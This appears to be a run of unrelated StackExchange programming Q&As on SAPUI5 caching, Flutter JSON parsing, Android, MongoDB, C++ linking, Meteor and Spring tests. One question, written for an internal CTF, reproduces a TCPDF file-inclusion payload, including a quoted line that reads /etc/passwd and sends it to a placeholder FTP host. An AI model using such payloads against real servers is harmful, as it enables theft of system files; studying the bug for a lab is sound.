text:
Q: Prevent Browser Caching of UI5 Application Resources We have an SAPUI5 App deployed on SAP PO. The problem is that whenever we do changes and deploy the new version of our application, the changes are not reflected and we need to do a Hard Reload and Clear browser Cache to fetch new changes.
This is causing a lot of issues as we cannot ask clients to clear cache after every change.
Below are the unsuccessful methods we tried so far:

*

*Enabling "resources/sap-ui-cachebuster/sap-ui-core.js" in SAPUI5 bootstrap.

*Using 'Application Cache buster' for application resource ( using sap-ui-cachebuster-info.json)

*Setting HTML header to keep no cache:

<meta http-equiv='cache-control' content='no-cache, no-store, must-revalidate'>
<meta http-equiv='Expires' content='-1'>
<meta http-equiv='Pragma' content='no-cache'>

*Clear cookies with below code:

document.cookie.split(";").forEach(function(c) {
document.cookie = c.replace(/^ +/, "").replace(/=.*/, "=;expires=" + new Date().toUTCString() + ";path=/");
});

None of the above solutions have worked so far. This is what we see in Networks tab of Chrome:

NOTE: Application is deployed on SAP PO 7.4 ( JAVA Stack)

A: We had the same issue than you on SAP MII and I have spent months with several OSS Calls for SAP to provide an acceptable solution.
They did so in the SP3 of SAP MII (we haven't updated yet but I hope their correction is right), but this will not apply in your case as you're on SAP PO but it's still a Java Stack.
So I think you should open an OSS Call, recommending to SAP to consult SAP Notes:

*

*2463286 - Issues when reloading JavaScript files

*2459768 - Force browsers to reload modified resource files
They will probably redirect you to the following stack overflow topic:
http://stackoverflow.com/questions/118884/how-to-force-browser-to-reload-cached-css-js-files
But this is only a work around, SAP web server  on Java stack doesn't seem to be working correctly and they have to provide a correction.
Hope this will help you.
EDIT
Hi,
Here is an update, there is a work around that we sometime use.
We have a URL parameter which is used to identify if a reload of the page is needed.
See below a JS snippet that we embed the index.html page of the SAPUI5 app.
Hope this will help you.
    <script>

window.onload = function () {

    version = undefined;
    fCheckVersionMatch = false;

    onInit();
};

/***************************************************************************
 * Function launch when we start the application it test
 *  - if the Reload parameters is set in the url
 *      - if we are loading an hold application with a false reload value
 ****************************************************************************/
var onInit = function() {
    checkParamReload();
};

/***************************************************************************
 * Check in the url if there is the reload value and if this value is less
 * than the difference with the date now => avoid when using favorite link
 * to load a previous version with an incorrect time stamp
 ****************************************************************************/
var checkParamReload = function() {

    var sUrlParameters = window.top.document.location.search;
    var regexReload = /(\?|&)reload=([^&]*)/;
    var aReload = sUrlParameters.match(regexReload);
    var nTime = aReload == null ? NaN : parseInt(aReload[2]);

    if ( isNaN(nTime) || Math.abs(Date.now() - nTime) > 60000 ) {
        // In case no reload tag is present or it's value is more than 1 minute ago, reload page
        reloadPage(true); // True means force reload => reset retry count.
    }

};

/***************************************************************************
 * Reload page and make sure the reload param is updated.
 * If force reload is used, retry count is resetted, otherwise it is
 * it is incremented up to a limit, which - in case it is reached - stops
 * the reload process and instead display an error message.
 ****************************************************************************/
var reloadPage = function (bForce) {

    var retries = 0;
    var oLocation = window.top.document.location;

    var sSearch = oLocation.search;
    sSearch = queryReplace(sSearch, "reload", _ => Date.now());
    if (bForce) {
        sSearch = queryReplace(sSearch, "retry", _ => 0);
    } else {
        sSearch = queryReplace(sSearch, "retry", function (n) {
            if (isNaN(parseInt(n))) {
                return 0;
            } else {
                retries = parseInt(n);
                return retries + 1;
            }
        });
    }

    if (retries < 10) {
        // Reload Page
        window.top.document.location.replace(oLocation.origin + oLocation.pathname + sSearch + oLocation.hash);
    } else {
        // Display error
        document.getElementById('Error').style.display = "block";
    }

};

var queryReplace = function (sQuery, sAttribute, fnReplacement) {
    // Match the attribute with the value
    var matcher = new RegExp(`(\\?|&)${ sAttribute }=([^&]*)`);
    var sNewQuery = sQuery.length < 2 ? `?${ sAttribute }=` : sQuery;
    if (sNewQuery.search(matcher) < 0) {
        // If we could not match, we add the attribute at the end
        sNewQuery += "&" + sAttribute + "=" + fnReplacement("");
    } else {
        sNewQuery = sNewQuery.replace(matcher, (_, delim, oldVal) => delim + sAttribute + "=" + fnReplacement(oldVal));
    }
    return sNewQuery;
}

</script>


text:
Q: get value from multiple nested json array in flutter i want to fetch following JSON in flutter and display it like shown in image or layer wise .
How can i achieve following JSON in flutter
I want to show parent menu name than child menu name than child sub menu name then its products.
"parent_menu": [
            {
                "p_category_id": "32",
                "vendor_id": "10",
                "service_id": "1",
                "parent_id": "0",
                "name": "Beverages",
                "image": "",
                "description": "
\n\tBeverages
\n",
                "priority": "5",
                "status": "Active",
                "parent_name": "Beverages",
                "child_menu": [
                    {
                        "p_category_id": "64",
                        "vendor_id": "10",
                        "service_id": "1",
                        "parent_id": "32",
                        "name": "Vita Coco Coconut Water",
                        "image": "",
                        "description": "",
                        "priority": "0",
                        "status": "Active",
                        "child_name": "Vita Coco Coconut Water",
                        "child_sub_menu": [
                            {
                                "p_category_id": "68",
                                "vendor_id": "10",
                                "service_id": "1",
                                "parent_id": "64",
                                "name": "first sub sub category",
                                "image": "",
                                "description": "",
                                "priority": "3",
                                "status": "Active",
                                "sub_menu": "first sub sub category",
                                "child_name": "Vita Coco Coconut Water",
                                "products": [
                                    {
                                        "product_id": "46",
                                        "vendor_id": "10",
                                        "service_id": "1",
                                        "p_category_id": "68",
                                        "name": "my favorite product",
                                        "description": "",
                                        "amount": "12",
                                        "image": "",
                                        "icon": "",
                                        "is_popular": "No",
                                        "status": "Active",
                                        "date": "2019-05-07 11:04:18"
                                    },
                                    {
                                        "product_id": "56",
                                        "vendor_id": "10",
                                        "service_id": "1",
                                        "p_category_id": "68",
                                        "name": "we",
                                        "description": "
\n\t34
\n",
                                        "amount": "22",
                                        "image": "",
                                        "icon": "",
                                        "is_popular": "No",
                                        "status": "Active",
                                        "date": "2019-05-31 12:04:09"
                                    }
                                ]
                            }
                        ]
                    },
                    {
                        "p_category_id": "43",
                        "vendor_id": "10",
                        "service_id": "1",
                        "parent_id": "32",
                        "name": "coconut water",
                        "image": "",
                        "description": "
\n\tere
\n",
                        "priority": "1",
                        "status": "Active",
                        "child_name": "coconut water",
                        "child_sub_menu": [
                            {
                                "p_category_id": "69",
                                "vendor_id": "10",
                                "service_id": "1",
                                "parent_id": "43",
                                "name": "coconut water sub1",
                                "image": "",
                                "description": "",
                                "priority": "0",
                                "status": "Active",
                                "sub_menu": "coconut water sub1",
                                "child_name": "coconut water",
                                "products": [
                                    {
                                        "product_id": "47",
                                        "vendor_id": "10",
                                        "service_id": "1",
                                        "p_category_id": "69",
                                        "name": "coconu water with kombucha",
                                        "description": "
\n\tit taste very nice
\n",
                                        "amount": "22",
                                        "image": "",
                                        "icon": "",
                                        "is_popular": "No",
                                        "status": "Active",
                                        "date": "2019-05-07 12:20:34"
                                    }
                                ]
                            }
                        ]
                    },
                ]
            },
        ],

How can i achieve above JSON in flutter
i want to display like this
How can i achieve this in flutter from given JSON and display like this dynamically.

A:               class Autogenerated {
                List<ParentMenu> parentMenu;

                Autogenerated({this.parentMenu});

                Autogenerated.fromJson(List <dynamic> jsonList) {
                  if (jsonList!= null) {
                    parentMenu = new List<ParentMenu>();
                    jsonList.forEach((v) {
                      parentMenu.add(new ParentMenu.fromJson(v));
                    });
                  }
                }

                Map<String, dynamic> toJson() {
                  final Map<String, dynamic> data = new Map<String, dynamic>();
                  if (this.parentMenu != null) {
                    data['parent_menu'] = this.parentMenu.map((v) => v.toJson()).toList();
                  }
                  return data;
                }
              }

              class ParentMenu {
                String pCategoryId;
                String vendorId;
                String serviceId;
                String parentId;
                String name;
                String image;
                String description;
                String priority;
                String status;
                String parentName;
                List<ChildMenu> childMenu;

                ParentMenu(
                    {this.pCategoryId,
                    this.vendorId,
                    this.serviceId,
                    this.parentId,
                    this.name,
                    this.image,
                    this.description,
                    this.priority,
                    this.status,
                    this.parentName,
                    this.childMenu});

                ParentMenu.fromJson(Map<String, dynamic> json) {
                  pCategoryId = json['p_category_id'];
                  vendorId = json['vendor_id'];
                  serviceId = json['service_id'];
                  parentId = json['parent_id'];
                  name = json['name'];
                  image = json['image'];
                  description = json['description'];
                  priority = json['priority'];
                  status = json['status'];
                  parentName = json['parent_name'];
                  if (json['child_menu'] != null) {
                    childMenu = new List<ChildMenu>();
                    json['child_menu'].forEach((v) {
                      childMenu.add(new ChildMenu.fromJson(v));
                    });
                  }
                }

                Map<String, dynamic> toJson() {
                  final Map<String, dynamic> data = new Map<String, dynamic>();
                  data['p_category_id'] = this.pCategoryId;
                  data['vendor_id'] = this.vendorId;
                  data['service_id'] = this.serviceId;
                  data['parent_id'] = this.parentId;
                  data['name'] = this.name;
                  data['image'] = this.image;
                  data['description'] = this.description;
                  data['priority'] = this.priority;
                  data['status'] = this.status;
                  data['parent_name'] = this.parentName;
                  if (this.childMenu != null) {
                    data['child_menu'] = this.childMenu.map((v) => v.toJson()).toList();
                  }
                  return data;
                }
              }

              class ChildMenu {
                String pCategoryId;
                String vendorId;
                String serviceId;
                String parentId;
                String name;
                String image;
                String description;
                String priority;
                String status;
                String childName;
                List<ChildSubMenu> childSubMenu;

                ChildMenu(
                    {this.pCategoryId,
                    this.vendorId,
                    this.serviceId,
                    this.parentId,
                    this.name,
                    this.image,
                    this.description,
                    this.priority,
                    this.status,
                    this.childName,
                    this.childSubMenu});

                ChildMenu.fromJson(Map<String, dynamic> json) {
                  pCategoryId = json['p_category_id'];
                  vendorId = json['vendor_id'];
                  serviceId = json['service_id'];
                  parentId = json['parent_id'];
                  name = json['name'];
                  image = json['image'];
                  description = json['description'];
                  priority = json['priority'];
                  status = json['status'];
                  childName = json['child_name'];
                  if (json['child_sub_menu'] != null) {
                    childSubMenu = new List<ChildSubMenu>();
                    json['child_sub_menu'].forEach((v) {
                      childSubMenu.add(new ChildSubMenu.fromJson(v));
                    });
                  }
                }

                Map<String, dynamic> toJson() {
                  final Map<String, dynamic> data = new Map<String, dynamic>();
                  data['p_category_id'] = this.pCategoryId;
                  data['vendor_id'] = this.vendorId;
                  data['service_id'] = this.serviceId;
                  data['parent_id'] = this.parentId;
                  data['name'] = this.name;
                  data['image'] = this.image;
                  data['description'] = this.description;
                  data['priority'] = this.priority;
                  data['status'] = this.status;
                  data['child_name'] = this.childName;
                  if (this.childSubMenu != null) {
                    data['child_sub_menu'] =
                        this.childSubMenu.map((v) => v.toJson()).toList();
                  }
                  return data;
                }
              }

              class ChildSubMenu {
                String pCategoryId;
                String vendorId;
                String serviceId;
                String parentId;
                String name;
                String image;
                String description;
                String priority;
                String status;
                String subMenu;
                String childName;
                List<Products> products;

                ChildSubMenu(
                    {this.pCategoryId,
                    this.vendorId,
                    this.serviceId,
                    this.parentId,
                    this.name,
                    this.image,
                    this.description,
                    this.priority,
                    this.status,
                    this.subMenu,
                    this.childName,
                    this.products});

                ChildSubMenu.fromJson(Map<String, dynamic> json) {
                  pCategoryId = json['p_category_id'];
                  vendorId = json['vendor_id'];
                  serviceId = json['service_id'];
                  parentId = json['parent_id'];
                  name = json['name'];
                  image = json['image'];
                  description = json['description'];
                  priority = json['priority'];
                  status = json['status'];
                  subMenu = json['sub_menu'];
                  childName = json['child_name'];
                  if (json['products'] != null) {
                    products = new List<Products>();
                    json['products'].forEach((v) {
                      products.add(new Products.fromJson(v));
                    });
                  }
                }

                Map<String, dynamic> toJson() {
                  final Map<String, dynamic> data = new Map<String, dynamic>();
                  data['p_category_id'] = this.pCategoryId;
                  data['vendor_id'] = this.vendorId;
                  data['service_id'] = this.serviceId;
                  data['parent_id'] = this.parentId;
                  data['name'] = this.name;
                  data['image'] = this.image;
                  data['description'] = this.description;
                  data['priority'] = this.priority;
                  data['status'] = this.status;
                  data['sub_menu'] = this.subMenu;
                  data['child_name'] = this.childName;
                  if (this.products != null) {
                    data['products'] = this.products.map((v) => v.toJson()).toList();
                  }
                  return data;
                }
              }

              class Products {
                String productId;
                String vendorId;
                String serviceId;
                String pCategoryId;
                String name;
                String description;
                String amount;
                String image;
                String icon;
                String isPopular;
                String status;
                String date;

                Products(
                    {this.productId,
                    this.vendorId,
                    this.serviceId,
                    this.pCategoryId,
                    this.name,
                    this.description,
                    this.amount,
                    this.image,
                    this.icon,
                    this.isPopular,
                    this.status,
                    this.date});

                Products.fromJson(Map<String, dynamic> json) {
                  productId = json['product_id'];
                  vendorId = json['vendor_id'];
                  serviceId = json['service_id'];
                  pCategoryId = json['p_category_id'];
                  name = json['name'];
                  description = json['description'];
                  amount = json['amount'];
                  image = json['image'];
                  icon = json['icon'];
                  isPopular = json['is_popular'];
                  status = json['status'];
                  date = json['date'];
                }

                Map<String, dynamic> toJson() {
                  final Map<String, dynamic> data = new Map<String, dynamic>();
                  data['product_id'] = this.productId;
                  data['vendor_id'] = this.vendorId;
                  data['service_id'] = this.serviceId;
                  data['p_category_id'] = this.pCategoryId;
                  data['name'] = this.name;
                  data['description'] = this.description;
                  data['amount'] = this.amount;
                  data['image'] = this.image;
                  data['icon'] = this.icon;
                  data['is_popular'] = this.isPopular;
                  data['status'] = this.status;
                  data['date'] = this.date;
                  return data;
                }
              }

Try to this  You can get your model class

redpajama_set_name: RedPajamaStackExchange


text:
Q: Setting Button ID programmatically Android 2.3.3
I have a table with N rows and N columns. For each row, I should add 4 buttons dynamically, and later do actions based on the button clicked. I know we can set the button IDs with Integer values with button.setID(), but I want to know whether we can set IDs as string values as we set in XML files, such as btnXYZ1 and btnXYZ2 etc.,

A: for (int i=0;i<nob;i++) {
     Button btn = new Button(this);
     btn.setId(i+1);
     btn.setText("Button"+(i+1));
     btn.setOnClickListener(btnclick); <<<<<<<set click
     btn.setLayoutParams(lprams);
     dynamicview.addView(btn);
}

And add this listner outside the any method and inside class
OnClickListener btnclick = new OnClickListener() {

    @Override
    public void onClick(View view) {

        switch(view.getId()) {
            case 1:
                //first button click
                break;
                //Second button click
            case 2:
                break;
            case 3:
                //third button click
                break;
            case 4:
                //fourth button click
                break;
             .
             .
             .
            default:
                break;
        }
    }
};

A: The strings you use in your XML files correspond to an int in R.java, and are hence actually ints. The setId() method will only accept an int value as an argument. You could define your IDs in a constants file, something like:
public class Ids {
    public static final int ID_ONE = 1;
}

and then use it as:
button.setId(Ids.ID_ONE);

A: You can use tags for that purpose . For example
btn.setTag("btXYZ");

A: No you cannot set it to String, the id is int value, even when you set it from XML it is just the resource name of an int value

A: No you cannot set it to String, the id is int value, even when you set it from XML it is just the resource name of an int value

A: If you have the references to the views anyway , you can simply save them all into a HashMap, for example using HashMap .
Another alternative , so that you will avoid any typos , is to have an enum as the key of the hashMap , for example : HashMap .


text:
Q: Embed forum software (phpBB, MyBB, ...) into static website frameworks (Jekyll, Middleman, ...) I like the idea behind static site generators like Jekyll/Middleman/Hexo/Hugo etc. and I'm currently running my website using Middleman. Being new to web development in general, there is one thing about them that isn't clear to me: How can I embed a forum software like phpBB, MyBB, SMF, or Vanilla Forum into a page generated by a static generator framework? By embedding I mean: How to share things like a header/navbar/footer between the regular pages and the forum page.
A quick Google search only gave suggestions like:

*

*Embed the forum in a frame/iframe, along with the general warning that frames are bad and this may have negative side effects.

*Solving the embedding the other way around, that is, by modeling the website's header/footer as a "theme" in the forum software -- in some cases even by just taking screenshots of the website elements.

Both approaches aren't really convincing, so my question is: Is there a nicer solution to this?
If there is no general answer and it largely depends on which combination of generator + forum software: Is there any combination which has a specific solution to this and works particularly well?

A: The proper way to do this is to create a similar theme (as suggested in your question). However, you could try to read the header div and the footer div of the static site with PHP and echo them in your forum template. That would be more complicated to achieve, but completely DRY.


text:
Q: OnUnhandledKeyEventListener Unknown Error I am getting this error:

Rejecting re-init on previously-failed class java.lang.Class

I have spent hours searching google and just cant find the cause, the thing that is confusing me is that the app runs on APIs earlier than v28.
But crashes without fail on all devices running api 28

Logcat attached below:

07-02 12:59:51.667 18223-18223/? I/art: Not late-enabling -Xcheck:jni (already on)
07-02 12:59:51.699 18223-18233/? I/art: Debugger is no longer active
07-02 12:59:51.752 18223-18223/? W/art: Before Android 4.1, method android.graphics.PorterDuffColorFilter android.support.graphics.drawable.VectorDrawableCompat.updateTintFilter(android.graphics.PorterDuffColorFilter, android.content.res.ColorStateList, android.graphics.PorterDuff$Mode) would have incorrectly overridden the package-private method in android.graphics.drawable.Drawable
07-02 12:59:51.775 18223-18223/? I/art: Rejecting re-init on previously-failed class java.lang.Class<android.support.v4.view.ViewCompat$OnUnhandledKeyEventListenerWrapper>
07-02 12:59:52.248 18223-18241/? D/OpenGLRenderer: Use EGL_SWAP_BEHAVIOR_PRESERVED: true
07-02 12:59:52.256 18223-18223/? D/Atlas: Validating map...
07-02 12:59:52.295 18223-18241/? I/OpenGLRenderer: Initialized EGL, version 1.4
07-02 12:59:52.296 18223-18241/? W/OpenGLRenderer: Failed to choose config with EGL_SWAP_BEHAVIOR_PRESERVED, retrying without...
07-02 12:59:52.300 18223-18241/? D/EGL_emulation: eglCreateContext: 0x7f42be844b60: maj 2 min 0 rcv 2
07-02 12:59:52.320 18223-18241/? D/EGL_emulation: eglMakeCurrent: 0x7f42be844b60: ver 2 0
07-02 12:59:52.326 18223-18241/? D/OpenGLRenderer: Enabling debug mode 0
07-02 12:59:52.344 18223-18241/? D/EGL_emulation: eglMakeCurrent: 0x7f42be844b60: ver 2 0
07-02 12:59:53.408 18223-18223/freeskate.esk8hub.skatehub I/Choreographer: Skipped 60 frames!  The application may be doing too much work on its main thread.
07-02 12:59:51.667 18223-18223/? I/art: Not late-enabling -Xcheck:jni (already on)
07-02 12:59:51.699 18223-18233/? I/art: Debugger is no longer active
07-02 12:59:51.752 18223-18223/? W/art: Before Android 4.1, method android.graphics.PorterDuffColorFilter android.support.graphics.drawable.VectorDrawableCompat.updateTintFilter(android.graphics.PorterDuffColorFilter, android.content.res.ColorStateList, android.graphics.PorterDuff$Mode) would have incorrectly overridden the package-private method in android.graphics.drawable.Drawable
07-02 12:59:51.775 18223-18223/? I/art: Rejecting re-init on previously-failed class java.lang.Class<android.support.v4.view.ViewCompat$OnUnhandledKeyEventListenerWrapper>
    Rejecting re-init on previously-failed class java.lang.Class<android.support.v4.view.ViewCompat$OnUnhandledKeyEventListenerWrapper>
07-02 12:59:52.248 18223-18241/? D/OpenGLRenderer: Use EGL_SWAP_BEHAVIOR_PRESERVED: true
07-02 12:59:52.256 18223-18223/? D/Atlas: Validating map...
07-02 12:59:52.295 18223-18241/? I/OpenGLRenderer: Initialized EGL, version 1.4
07-02 12:59:52.296 18223-18241/? W/OpenGLRenderer: Failed to choose config with EGL_SWAP_BEHAVIOR_PRESERVED, retrying without...
07-02 12:59:52.300 18223-18241/? D/EGL_emulation: eglCreateContext: 0x7f42be844b60: maj 2 min 0 rcv 2
07-02 12:59:52.320 18223-18241/? D/EGL_emulation: eglMakeCurrent: 0x7f42be844b60: ver 2 0
07-02 12:59:52.326 18223-18241/? D/OpenGLRenderer: Enabling debug mode 0
07-02 12:59:52.344 18223-18241/? D/EGL_emulation: eglMakeCurrent: 0x7f42be844b60: ver 2 0
07-02 12:59:53.408 18223-18223/? I/Choreographer: Skipped 60 frames!  The application may be doing too much work on its main thread.
07-02 13:32:22.589 18223-18233/? I/art: Debugger is no longer active

I am not using any event listeners as of yet in the application, the only thing listening for clicks is the Navigation drawer, and that is the pre-made activity from Android Studio.

Below is the Java for handling activity drawer:

int id = item.getItemId();

        //Below we will instantiate the fragments into the nav-view. Instead of hiding and showing individual elements manually

        if (id == R.id.nav_login) {
            //Handle login action
            fragmentTransaction = getSupportFragmentManager().beginTransaction();
            fragmentTransaction.replace(R.id.main_container, new Login());
            fragmentTransaction.commit();
            getSupportActionBar().setTitle("Login");

        } else if (id == R.id.nav_register) {
            //Handle register action
            fragmentTransaction = getSupportFragmentManager().beginTransaction();
            fragmentTransaction.replace(R.id.main_container, new Register());
            fragmentTransaction.commit();
            getSupportActionBar().setTitle("Register");

        } else if (id == R.id.nav_support) {
            //Handle support action.
            fragmentTransaction = getSupportFragmentManager().beginTransaction();
            fragmentTransaction.replace(R.id.main_container, new Support());
            fragmentTransaction.commit();
            getSupportActionBar().setTitle("Support");
        }

        DrawerLayout drawer = (DrawerLayout) findViewById(R.id.drawer_layout);
        drawer.closeDrawer(GravityCompat.START);
        return true;

The fragments are handled in the onCreate function

//Lets add the fragments to the frame layout in the design file.
fragmentTransaction = getSupportFragmentManager().beginTransaction();
fragmentTransaction.add(R.id.main_container, new Login());
fragmentTransaction.commit();
getSupportActionBar().setTitle("Login");

Can anyone see any issues here? I have been trying for hours and can't seem to find the solution.


text:
Q: PoC for TCPDF vulnerability I am making some challenges as part of an internal CTF that we are hosting. As part of the challenges, one of the things that I was planning on giving out was File Inclusion using a vulnerability in a certain version of TCPDF.
I was trying to follow the blog here to get an understanding of the bug itself:
File inclusion through broken TCPDF
I do understand the vulnerability in a nutshell, which is, that TCPDF, by default, has access to a special tag <tcpdf /> which allows execution of available TCPDF methods along with parameters.
So for example if :
<tcpdf method="some_method" params="abcd"/>

the above is passed to the writeHTML() TCPDF would call some_method() with the params abcd.
And to be able to read files, a specific TCPDF method called addTTFFont is going to be used which takes as params the following:

*

*$fontfile – The file to grab from the server. Any readable file can
be selected.

*$fonttype – Needs to be set to TrueType for the attack to work.

*$outpath – Location for the output for the file.

By injecting a ftp-location, as the 3rd param, the file will be uploaded remotely.
Please correct me if my understanding is incorrect here.
Now, here's what I do not understand from the blog above. The line that says:

By generating a tcpdf-element using the following code:
  $params = TCPDF_STATIC::serializeTCPDFtagParameters(array('/etc/passwd','TrueType','',255,urldecode('ftp://user:pass@host/')));

Now what is the author trying to explain in the above line ?
Also to be able to reproduce this vulnerability, here's what I tried :
Hosted a very simple (and of course vulnerable in many ways) app on my local Aapache server and used TCPDF V 6.1.1 as this was the version immediately before 6.2.0 in which the bug was patched.
The app simply allows users to register and login. On login user gets a page as  and on clicking on the link in red, a PDF file is generated for the user with his name as :

where gogo was the user name.
Now below is the code that generates the PDF (gen_pdf.php):
<?php
session_start();
require_once('tcpdf_include.php');
if (isset($_SESSION['username'])){

    // Extend the TCPDF class to create custom Header and Footer
class MYPDF extends TCPDF {
    //Page header
    public function Header() {
        // Logo
        $image_file = K_PATH_IMAGES.'logo_example.jpg';
        $this->Image($image_file, 10, 10, 15, '', 'JPG', '', 'T', false, 300, '', false, false, 0, false, false, false);
        // Set font
        $this->SetFont('helvetica', 'B', 20);
        // Title to right allignment
        $this->Cell(0, 15, '<< The Machine v/s Samaritan >>', 1, false, '', 0, '', 0, false, 'T', 'M');
    }
}

$pdf = new MYPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetAuthor('John Reese');
$pdf->SetTitle('The Machine Must Live');
$pdf->SetSubject('The future is inevitable. ');
$pdf->SetKeywords('The Machine, Samaritan, Mr. Reese');

// set default header data
$pdf->SetHeaderData(PDF_HEADER_LOGO, PDF_HEADER_LOGO_WIDTH, PDF_HEADER_TITLE.' 001', PDF_HEADER_STRING, array(0,64,255), array(0,64,128));
$pdf->setFooterData(array(0,64,0), array(0,64,128));

// set header and footer fonts
$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN, '', PDF_FONT_SIZE_MAIN));
$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA, '', PDF_FONT_SIZE_DATA));

// set default monospaced font
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);

// set margins
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);

// set auto page breaks
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);

// set image scale factor
$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);

// set some language-dependent strings (optional)
if (@file_exists(dirname(__FILE__).'/lang/eng.php')) {
  require_once(dirname(__FILE__).'/lang/eng.php');
  $pdf->setLanguageArray($l);
}

// ---------------------------------------------------------

// set default font subsetting mode
$pdf->setFontSubsetting(true);

// Set font
// dejavusans is a UTF-8 Unicode font, if you only need to
// print standard ASCII chars, you can use core fonts like
// helvetica or times to reduce file size.
$pdf->SetFont('dejavusans', '', 14, '', true);

// set text shadow effect
$pdf->setTextShadow(array('enabled'=>true, 'depth_w'=>0.2, 'depth_h'=>0.2, 'color'=>array(196,196,196), 'opacity'=>1, 'blend_mode'=>'Normal'));
// Set some content to print
$html = <<<EOD

Welcome to Tomorrow !!

This Machine is growing weaker and we need to keep it safe.

This is the world of the Samaritan and it needs to be protected Mr. Rees and Root will be there for your help.

All the best for your travel ...

EOD;

    $pdf->AddPage('P');
    $html = $html."

".$_SESSION['username']."

";
    $pdf->writeHTML($html);
    ob_end_clean();
    $pdf->Output('ticket_to_the_future.pdf', 'I');
}
?>

I modified just this part of the above code :
$pdf->AddPage('P');
$html = $html."

".$_SESSION['username']."

";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');

to this:
$pdf->AddPage('P');
$html = "<tcpdf method=\"addTTFFont\" params=\"%5B%22CHANGELOG.TXT%22%2C%22TrueType%22%2C%22%22%2C255%2C%22%5C%2Ftmp%5C%2Ftcpdf_bug.txt%22%5D\"/>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');

that is hardcoded the exploit payload (just to check if things are working), where CHANGELOG.TXT is a file already present in the same directory as gen_pdf.php
Output
No tcpdf_bug.txt file seems to be getting generated in \tmp.
What am I doing wrong here ? Please help me create this PoC.


text:
Q: Tapping on detected data on a UITextView inside a custom UITableViewCell calls didSelectRowAtIndexPath Alright, I have been searching every keyword combination i could think of but haven't found a solution to this yet. Everyone seems to have the opposite problem of what I am having.
I built a custom UITableViewCell with a nib file. It has a UITextView in it that displays detectable text.
After loading I can see the text has been detected and highlighted in the UITextView, however, when I go to click on it, it selects the cell, not the detected data.
The UITextView is not editable and user interaction is turned on so I should be able to get it working no?
Does anyone know what I might have to do to get it to work as intended?
If I didn't provide a piece of information that might help you help me, please let me know and I will post it.
Thanks in advance,
~Arash

A: I know this post is old, but I have been trying to figure out this exact problem for more hours than I would like to admit.  Hopefully, this answer helps someone in the future.  FYI... I am using Xcode 4.3.2 at this time.
My problem was 'User Interaction Enabled'.  I had it enabled for the UITextView, but not for the custom table view cell.  If it is turned off for the table view cell, no touches will be sent to the cell or any of its subviews (ie.  the UITextView or probably a UIButton).  The only problem after I fixed that was that if you touched anywhere else in the cell, the cell would become selected.  I had to go to the Attributes Inspector, select the UITableViewCell, and change 'Selection' from 'Blue' to 'None'.
Now everything is working great.


text:
Q: MongoDB aggregation pipeline $limit cast exception from string to int Trying to cast from string to int in aggregation is throwing the following error: $limit should be a number not object or string. Here is my query:
{ $limit: { "$convert": { "input": "10", "to": "int" } } }
OR
{ $limit: { $toInt: "5" } }
For More details:

A: From the official documentation here ,
The $limit stage has the following prototype form:
{ $limit: <positive integer> }
I think you can only use a positive integer. You need to make it integer instead of string.


text:
Q: Very peculiar linker error in C++ When I attempt to build my C++ + SDL project in Visual Studio Express 2013, I get the following error:
1>Main.obj : error LNK2019: unresolved external symbol "public: void __thiscall Game::run(void)" (?run@Game@@QAEXXZ) referenced in function _SDL_main

In Main I have #include "TestGame.h"
TestGame.h contains
 #include "Game.h"

struct TestGame : Game{ ... }

And Game.h contains
struct Game{
    ...
    void run();
}

void Game::run is defined in Game.cpp which also includes Game.h
And yet I still receive the error. (And 11 others like it)
I have read the entirety of What is an undefined reference/unresolved external symbol error and how do I fix it? and nothing proposed there seems to fix my problem. I thus do not believe my question to be a duplicate of it.
The entirety of the code can be found at https://github.com/xGeovanni/CPP-Game-Libs
I'd be happy to answer any questions necessary to help me with this problem. Thank you.
EDIT: This problem stopped happening after I deleted the VC++ project and added all the source files to a new one.

A:   <ClInclude Include="Game.cpp" />

This is the reason, the Game.cpp will not be compiled, it has the tag that's only appropriate for an #included file.  There are only three files in your project file that have the required <ClCompile> tag (Main.cpp, Player.cpp, TestGame.cpp).
Very unclear how this happened, in general avoid editing a .vcxproj file by hand.  To fix the problem, right-click the Game.cpp file in the Solution Explorer, Properties, General.  Change the "Item Type" property from "C/C++ Header" to "C/C++ Compiler".  Repeat for the other .cpp files that have the wrong tag.  You can easily tell which, when you right-click them then they have the Compile menu item disabled.


text:
Q: In meteor 0.6.4.1/coffeescript, how does variable visibility work? I'm new to meteor and coffeescript.  I'm using the file layout suggested in the Unofficial Meteor FAQ.  In file collections/C.coffee, I have
C = new Meteor.Collection 'C'
console.log "C: #{C}"

In file server/main.coffee, I have
C.insert {test: 'test'}

When I start meteor, I see on the console:
C: [object Object]
ReferenceError: C is not defined
    at app/server/main.coffee.js:5:1
    at /home/xxx/yyy/.meteor/local/build/server/server.js:298:12

How do I make C available in files outside of collections/C.coffee?
Update: Adding @ to C fixes the problem at the top level.  However it still fails with:
   Meteor.methods
        test: (statement) ->
             @C.insert {test: 'test'}

It fails with an error  TypeError: Cannot call method 'insert' of undefined

A: To make C visible outside the file it was defined in use @, which compiles to this. or window. in js, which gives it the same effect as a global scope:
@C = new Meteor.Collection 'C'


text:
Q: Unit Testing Download CSV in Spring I am writing a unit test for an endpoint in Spring which sends a csv file as the response. I am able to do checks like checking Status of the respone and the content type, but how can I compare the contents of the CSV? I tried to convert the response to string and do the comparison but without any success. Can any one point me in the right direction?
Here is what I tried:
public void testDownloadCSV() throws Exception {
    RequestBuilder request = MockMvcRequestBuilders.get
            (getRequestMapping("/downloadCSV/" + ID))
            .contentType(contentType);
    ResultActions result = getMockMvc().perform(request);
    String csvString = "CSV Data goes here";
    String resultString=content().toString();
    if (log.isDebugEnabled()) {
        result.andDo(print());
        Assert.assertTrue(csvString.equals(resultString));
    }
    // tests:
    result.andExpect(status().isOk()).andExpect(content().contentType
            (contentType));

}

